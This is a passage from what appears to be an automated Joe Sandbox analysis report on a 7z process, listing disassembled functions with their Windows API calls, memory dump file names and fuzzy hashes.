Part of subcall function 00C489D8: FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00C489EA

CreateFileW.KERNELBASE ref: 00C48D51
CreateFileW.KERNEL32 ref: 00C48DA4
free.MSVCRT ref: 00C48DB2

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CreateFile$ChangeCloseFindNotificationfree
String ID:
API String ID: 2608088885-0
Opcode ID: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction ID: 42625ab7e369f61c44916fd329a647c304f010338d085c0a7192ebf2c7f8a1f0
Opcode Fuzzy Hash: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction Fuzzy Hash: B8217C336056819AC7709F15A841A5E6B64F396BF4F544325EFB943BE4CF38C99A8B00

Function 00C82CFC Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00C43274: memmove.MSVCRT ref: 00C432AC

fputs.MSVCRT ref: 00C82D41
fputs.MSVCRT ref: 00C82DCF
free.MSVCRT ref: 00C82DFF

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$fputcfreememmove
String ID:
API String ID: 1158454270-0
Opcode ID: eef8350ceeca3f9f5c16306e4864ccddccb6ae17d882d2c6956f16779c2a39dd
Instruction ID: 5124ff878c4578efb54ce8cf89dd90f7d388a4f1eef2f5e0319c40a9aa090250
Opcode Fuzzy Hash: eef8350ceeca3f9f5c16306e4864ccddccb6ae17d882d2c6956f16779c2a39dd
Instruction Fuzzy Hash: C5216262600A0181CF30FF25E85626E6770FB95BE8F84A222FA5F47769DE3CC545D704

Function 00C4CE1C Relevance: 3.9, APIs: 3, Instructions: 178COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C4CF85
memmove.MSVCRT ref: 00C4CFB7
GetLastError.KERNEL32 ref: 00C4D020

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ErrorLast$memmove
String ID:
API String ID: 3796167841-0
Opcode ID: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
Instruction ID: d55857c8ad2d28f606436e174539158e1ea7517f0313b6da294cc6b8046289e7
Opcode Fuzzy Hash: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
Instruction Fuzzy Hash: 6351E133311B54A7EF65DE7AD5847A923A0FB08794F140126DF1B87B60DB39E9AAC300

Function 00C42300 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00C42311

Strings

Kernel , xrefs: 00C42300

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputc
String ID: Kernel
API String ID: 1992160199-1736990243
Opcode ID: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction ID: 5c05f1e2fb1cc3026ebaef55d507d952f42d3594c1d5087cf8bf67087f00008a
Opcode Fuzzy Hash: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction Fuzzy Hash: 9FC09B5575070C82FF1417B7E8457251211D75DF91F185034CE1D07350DD1CD4D78715

Function 00C8B1C8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00C8B20D
fputs.MSVCRT ref: 00C8B232

Part of subcall function 00C42B04: _CxxThrowException.MSVCRT ref: 00C42B2D
Part of subcall function 00C42B04: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00C42B44

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrowfputsfreememset
String ID:
API String ID: 3104931167-0
Opcode ID: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction ID: 2dca2e1dddaa1caab61a3ceb213bad2739c92a503b683d0cecb9337577b79cce
Opcode Fuzzy Hash: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction Fuzzy Hash: F501C0B37006909BE705EF6BEA8475E6720F759B98F488422DF0807711DF74E8AAC314

Function 00C48A60 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000003,?,00C48E1D), ref: 00C48A99
GetLastError.KERNEL32(?,?,00000003,?,00C48E1D), ref: 00C48AA6

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction ID: bf645fd5449dc33c0f7b13ffb66c3da97665d65bd7cba716f75957c6805bbeb6
Opcode Fuzzy Hash: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction Fuzzy Hash: BBF0F662B017C083EF208B6DD848B5C2761F75AB98FBC5122CB1843B50DF6AC98BD710

Function 00C80994 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C809D5

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

free.MSVCRT ref: 00C809E9

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID:
API String ID: 2822829076-0
Opcode ID: 54155317de61db0833888d5a21ec2303f9cbf572859454e8d3a2ab1476f005a9
Instruction ID: 8dc932315be12e91e38dd2f4a460c64e9a6f053193e221c3d793ab46db124840
Opcode Fuzzy Hash: 54155317de61db0833888d5a21ec2303f9cbf572859454e8d3a2ab1476f005a9
Instruction Fuzzy Hash: 23F0126320094481DA20EF25E95535D9330E789BF8F589321EE6D477F9DF28C98AC714

Function 00C74035 Relevance: 2.6, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C7404D
memmove.MSVCRT ref: 00C74087

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
Instruction ID: 4d7103be1b2c71a6919fda681ff5cb87038234b5d742c5602c5567740b7c092b
Opcode Fuzzy Hash: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
Instruction Fuzzy Hash: 643190673196C196CA35EF25E5942EEBB20F391340F809022C79D43B6AEF38D659DB10

Function 00C74054 Relevance: 2.6, APIs: 2, Instructions: 61COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C74065
memmove.MSVCRT ref: 00C74087

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
Instruction ID: ed17b926c3137a7a32e6f9e6cca00219f4c43748f3c7993d90a699a977daff6b
Opcode Fuzzy Hash: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
Instruction Fuzzy Hash: DA11D2A23056C592CA35FB55F4D12EEA320F791390F808426CB9E47A95DF38C689EB00

Function 00C69A34 Relevance: 2.5, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C69A84
free.MSVCRT ref: 00C69A95

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction ID: 670a6e41c70f838ed887056901c5a549bf65322b0507b5a653aa0361ec0f470a
Opcode Fuzzy Hash: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction Fuzzy Hash: 9BF08123302B9086DA20AA66E88116D6754FB86FB1F188320EF7917B91CF34C947C300

Function 00C8C7D4 Relevance: 2.5, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

memmove.MSVCRT ref: 00C8C815
free.MSVCRT ref: 00C8C81D

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrowfreemallocmemmove
String ID:
API String ID: 1097815484-0
Opcode ID: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
Instruction ID: b3a9c5827b78f8c019a1572f2e20ab5408a2cca72cb7fb390c765386d0685f8b
Opcode Fuzzy Hash: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
Instruction Fuzzy Hash: B20181777015888BCB14EF26D4A156CB764E788F9DB08C12ADF054B398CA34DC86CBA0

Function 00C80A1C Relevance: 2.5, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C80A42
LeaveCriticalSection.KERNEL32 ref: 00C80A73

Part of subcall function 00C8B480: GetTickCount.KERNEL32 ref: 00C8B49E
Part of subcall function 00C8B480: strcmp.MSVCRT ref: 00C8B4E3
Part of subcall function 00C8B480: wcscmp.MSVCRT ref: 00C8B502
Part of subcall function 00C8B480: strcmp.MSVCRT ref: 00C8B568

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CriticalSectionstrcmp$CountEnterLeaveTickwcscmp
String ID:
API String ID: 3267814326-0
Opcode ID: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction ID: 206ce5340c28d17246ed00e42ec8ee2560527bf1a3ce64289ac7a4de90b6c536
Opcode Fuzzy Hash: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction Fuzzy Hash: 7CF05E62350A5482F7109B24E884B996360E745BB9F244334DE7D476E4CF3C898AC318

Function 00C42568 Relevance: 2.5, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00C43274: memmove.MSVCRT ref: 00C432AC

free.MSVCRT ref: 00C425B5
free.MSVCRT ref: 00C425C0

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction ID: b24defd0cf2a70d8fbd8dde04943947d84ecabb74b8a2d1297114799bfcafd6e
Opcode Fuzzy Hash: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction Fuzzy Hash: 0BE03062658A8091CA30EB21E45205EA760FBC57F4B843311B6FF57AF9DE28C686DB00

Function 00C42130 Relevance: 2.5, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
_CxxThrowException.MSVCRT ref: 00C4214F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrowmalloc
String ID:
API String ID: 2436765578-0
Opcode ID: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction ID: 47b918ea821b48081e2f34b5457386dd386be7dabfa2e85eba278d649198154e
Opcode Fuzzy Hash: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction Fuzzy Hash: F3D01250B17684D1EE08A75498867185720A799794FD06455F25B01735DF5CC18FC705

Function 00C5251C Relevance: 1.6, APIs: 1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction ID: d7ee43488405342e46199c15d9c687edfcdbc53a92500f81859c32b7ad6fe032
Opcode Fuzzy Hash: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction Fuzzy Hash: 13515876244AC095CB22CF25C4406ED2BA1F38AFC9FA94176DEAA0A719DF34C9C9D714

Function 00C686E0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SysStringByteLen.OLEAUT32 ref: 00C68744

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ByteString
String ID:
API String ID: 4236320881-0
Opcode ID: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction ID: 1ccba51d11ff811569094506cf4e8a4b3083147013af5de02401a013bec17977
Opcode Fuzzy Hash: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction Fuzzy Hash: CE11A51621878182E7708B19E48076A6360E7847E4F648320FFEA577E8EF3CCE89D705

Function 00C48C98 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C48A60: SetFilePointer.KERNELBASE(?,?,00000003,?,00C48E1D), ref: 00C48A99
Part of subcall function 00C48A60: GetLastError.KERNEL32(?,?,00000003,?,00C48E1D), ref: 00C48AA6

SetEndOfFile.KERNELBASE ref: 00C48CC7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: File$ErrorLastPointer
String ID:
API String ID: 841452515-0
Opcode ID: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction ID: 27ed603859de400fc49e7b08541c83644e317304932975df9452aa06c2d6e73d
Opcode Fuzzy Hash: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction Fuzzy Hash: 62E02612301494C2E720ABA5A4C166E8310BB44BE0F488031AA8543B48CE698DDE9710

Function 00C464D4 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C46464: FreeLibrary.KERNELBASE(?,?,?,00C464E7), ref: 00C46475

LoadLibraryW.KERNELBASE ref: 00C464F4

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: Library$FreeLoad
String ID:
API String ID: 534179979-0
Opcode ID: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction ID: 159828ad7ef3af9287dfe1a10e5f47fb7cc3a1669a4ea6de4ca0c125b0b5ac7a
Opcode Fuzzy Hash: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction Fuzzy Hash: A3D0972170072082FF146BB6784176803103F07FE0E88E030DE4E03308DE280CEBA300

Function 00C48BF0 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00C48C1F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction ID: 77067e7e2e01f045bd0fc8b541d649549bd5ad0dc9094dc6741c8bbfe93b2678
Opcode Fuzzy Hash: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction Fuzzy Hash: CBE04676324644CBE740CF60E404B4AB3A0F388B28F004214DE8A83B54DBBCC455CF40

Function 00C46464 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,?,?,00C464E7), ref: 00C46475

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction ID: 514a14fdd62c7d746796d175a2018f60b0f9aa96e673fe05c469c2fd4f2e5bbd
Opcode Fuzzy Hash: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction Fuzzy Hash: F5D012A6702504C5FF158FA2E85473923547B59F54F5C6014CE254A344EF2989968761

Function 00C489D8 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00C489EA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
